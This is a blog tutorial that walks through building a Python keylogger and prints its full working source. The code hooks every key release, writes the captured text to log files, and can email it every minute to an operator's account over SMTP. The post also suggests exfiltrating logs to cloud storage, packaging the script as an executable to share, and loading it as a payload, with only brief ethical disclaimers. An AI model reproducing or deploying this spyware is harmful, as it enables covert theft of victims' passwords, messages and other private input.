Build a Python Keylogger

Build a Python Keylogger

Ready to delve into the world of Python programming? In this tutorial, we will explore the creation of a keylogger – a surveillance tool designed to monitor and record every keystroke on a computer's keyboard.

It's essential to note that while keyloggers have legitimate uses like monitoring employee productivity or parental control, they can be misused by hackers to capture sensitive information.

Our goal is to equip you with the knowledge to create and analyze keyloggers for educational purposes and to raise awareness about their capabilities and associated risks.

Prerequisites

Before we begin, you'll need to install the **keyboard** module. Open your terminal or command prompt and enter:

Before installing any library, set your project in a venv (virtual environment); this would limit dependency issues.

First, create a folder.

mkdir keylogger

Next, we would cd into the keylogger directory and create a virtual environment python -m venv myenv.

Activate the Virtual environment source myenv/bin/activate, and then we can install dependencies.

$ pip install keyboard

This module allows us to take control of the keyboard, hook global events, register hotkeys, simulate key presses, and more.

Setting Up the Keylogger

Let's initialize the required parameters:

import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

SEND_REPORT_EVERY = 60  # in seconds, reporting interval
EMAIL_ADDRESS = "blackbird001@duck.com"
EMAIL_PASSWORD = "your_email_password"

Replace **your_email@example.com** and **your_email_password** with your actual email credentials.

Now, we'll create a class to represent the keylogger:

class Keylogger:
    def __init__(self, interval, report_method="email"):
        self.interval = interval
        self.report_method = report_method
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

The **interval** parameter represents the reporting frequency, and **report_method** specifies whether to send logs via email or save them to a local file.

Listening to Keystrokes

We'll utilize the **keyboard** module's **on_release()** function to capture keystrokes:


def callback(self, event):
    name = event.name
    if len(name) > 1:
        if name == "space":
            name = " "
        elif name == "enter":
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
        else:
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"

    self.log += name

This callback function is invoked whenever a key is released. It transforms special keys and adds them to the global **self.log** variable.

Reporting Keystrokes

Depending on the chosen **report_method**, we can report the keystrokes either via email or save them to a local file:


def report_to_file(self):
    with open(f"{self.filename}.txt", "w") as f:
        print(self.log, file=f)
    print(f"[+] Saved {self.filename}.txt")

def sendmail(self, email, password, message, verbose=1):
    # SMTP server connection and email sending logic
    # ...

The **report_to_file()** method saves the key logs to a local file, while **sendmail()** sends the logs via email.

Scheduling Reports

To ensure periodic reporting, we'll use a timer:

def report(self):
    if self.log:
        self.end_dt = datetime.now()
        self.update_filename()
        if self.report_method == "email":
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
        elif self.report_method == "file":
            self.report_to_file()
        print(f"[{self.filename}] - {self.log}")
        self.start_dt = datetime.now()
    self.log = ""
    timer = Timer(interval=self.interval, function=self.report)
    timer.daemon = True
    timer.start()

This method is called at regular intervals (**self.interval**) to report the accumulated keystrokes.

Starting the Keylogger

Finally, we initiate the keylogger with the following code:

def start(self):
    self.start_dt = datetime.now()
    keyboard.on_release(callback=self.callback)
    self.report()
    print(f"{datetime.now()} - Started keylogger")
    keyboard.wait()

This **start()** method records the start time, sets up the keylogger, and waits for the user to press CTRL+C to exit the program.

Putting It All Together

Now, let's instantiate the **Keylogger** class and start the keylogger:

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()

Uncomment the line with **report_method="email"** if you prefer to receive reports via email.

To get it started, run sudo python nameoffile.py. If you run this without side you will get an error.

Once approved, I can control and see what the user is doing. Cool, right?

Once I start typing, my keylogger saves my keystrokes in a file.

Find the entire code here.

    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText

    # Installation of required module
    # $ pip install keyboard

    # Parameters
    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "email@provider.tld"
    EMAIL_PASSWORD = "password_here"

    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()

        def callback(self, event):
            """
            This callback is invoked whenever a keyboard event is occurred
            (i.e., when a key is released in this example)
            """
            name = event.name
            if len(name) > 1:
                # not a character, special key (e.g ctrl, alt, etc.)
                # uppercase with []
                if name == "space":
                    # " " instead of "space"
                    name = " "
                elif name == "enter":
                    # add a new line whenever an ENTER is pressed
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    # replace spaces with underscores
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
            # finally, add the key name to our global `self.log` variable
            self.log += name

        def update_filename(self):
            # construct the filename to be identified by start & end datetimes
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

        def report_to_file(self):
            """This method creates a log file in the current directory that contains
            the current keylogs in the `self.log` variable"""
            # open the file in write mode (create it)
            with open(f"{self.filename}.txt", "w") as f:
                # write the keylogs to the file
                print(self.log, file=f)
            print(f"[+] Saved {self.filename}.txt")

        def prepare_mail(self, message):
            """Utility function to construct a MIMEMultipart from a text
            It creates an HTML version as well as a text version
            to be sent as an email"""
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            # simple paragraph, feel free to edit
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            # after making the mail, convert back as a string message
            return msg.as_string()

        def sendmail(self, email, password, message, verbose=1):
            # manages a connection to an SMTP server
            # in our case, it's for Microsoft365, Outlook, Hotmail, and live.com
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            # connect to the SMTP server as TLS mode (for security)
            server.starttls()
            # login to the email account
            server.login(email, password)
            # send the actual message after preparation
            server.sendmail(email, email, self.prepare_mail(message))
            # terminates the session
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")

        def report(self):
            """
            This function gets called every `self.interval`
            It basically sends keylogs and resets `self.log` variable
            """
            if self.log:
                # if there is something in log, report it
                self.end_dt = datetime.now()
                # update `self.filename`
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                # if you don't want to print in the console, comment the below line
                print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            # set the thread as daemon (dies when the main thread dies)
            timer.daemon = True
            # start the timer
            timer.start()

        def start(self):
            # record the start datetime
            self.start_dt = datetime.now()
            # start the keylogger
            keyboard.on_release(callback=self.callback)
            # start reporting the keylogs
            self.report()
            # make a simple message
            print(f"{datetime.now()} - Started keylogger")
            # block the current thread, wait until CTRL+C is pressed
            keyboard.wait()

    if __name__ == "__main__":
        # if you want a keylogger to send to your email
        # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
          keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
          keylogger.start()
Conclusion

Congratulations! You've just created a basic keylogger in Python. Remember that ethical considerations are crucial, and using keyloggers on systems without proper authorization is strictly prohibited.

Extend your knowledge by exploring additional functionalities, such as sending logs across a network or using APIs like Google Drive to upload logs.

If you plan to share your keylogger, consider converting the script into an executable using tools like PyInstaller.

Use this knowledge responsibly, as this is purely for educational purposes. In our next article, I will show you how to load it as a payloader in an executable program.

If you like my work and want to help me continue dropping content like this, buy me a cup of coffee.

If you find this post exciting, find more exciting posts on Learnhub Blog; we write everything tech from Cloud computing to Frontend Dev, Cybersecurity, AI, and Blockchain.

Resource